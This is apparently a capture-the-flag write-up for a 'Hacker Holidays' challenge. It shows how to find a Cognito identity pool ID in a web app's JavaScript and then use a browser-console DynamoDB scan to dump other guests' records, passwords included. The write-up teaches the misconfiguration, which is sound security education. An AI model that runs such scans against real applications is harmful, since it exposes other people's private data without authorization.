

Hacker Holidays 2026 – Day 3

Complimentary

TODAY'S ITINERARY

- ☐ Track down the AWS mechanism issuing you credentials behind the scenes.
- ☐ Use those credentials to dump more than your own record from the app's DynamoDB table.
- ☐ Retrieve the flag from another guest's data.

In this challenge for the Hacker Holidays, we're asked to identify the problem with the AWS cloud integration on this web app, and exploit it

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Status	Method	Domain	File	Initiator
304	GET	 complimen...	/	document
200	GET	 sdk.amazo...	aws-sdk-2.1500.0.min.js	script
200	GET	 complimen...	app.js	script

If we look at the requests sent to the webpage using the web developer tools, we see there's a script being loaded in, app.js

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```
const IDENTITY_POOL_ID = "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688";  
const AWS_REGION = "us-east-1";  
const TABLE_NAME = "complimentary-GuestWellnessProfiles";
```

The code in this script uses an AWS identity pool id to get access through Cognito, which allows the app to access AWS's DynamoDB database

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```
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```

If the AWS credentials used to access the DynamoDB database are not configured correctly, it could allow any user to see any other user's database entries...

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```
1 var dynamodb = new AWS.DynamoDB({ region: "us-east-1" });
2
3 dynamodb.scan({
4     TableName: "complimentary-GuestWellnessProfiles"
5 }, function(err, data) {
6     if (err) {
7         console.log("✗ Error scanning table:", err.message);
8     } else {
9         console.log("🔓 Items retrieved successfully:", data.Items);
10    }
11 });
```

To test this, we can enter some code in the web browser developer console to try and output all of the contents of the database table

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```
🔓 Items retrieved successfully:  
▼ Array(5) [ {...}, {...}, {...}, {...}, {...} ]  
  ► 0: Object { password: {...}, location: {...},  
    notes: {...}, ... }  
  ► 1: Object { password: {...}, location: {...},  
    notes: {...}, ... }
```

And if it works, that means that there is broken access control on the app due to misconfigured AWS account permissions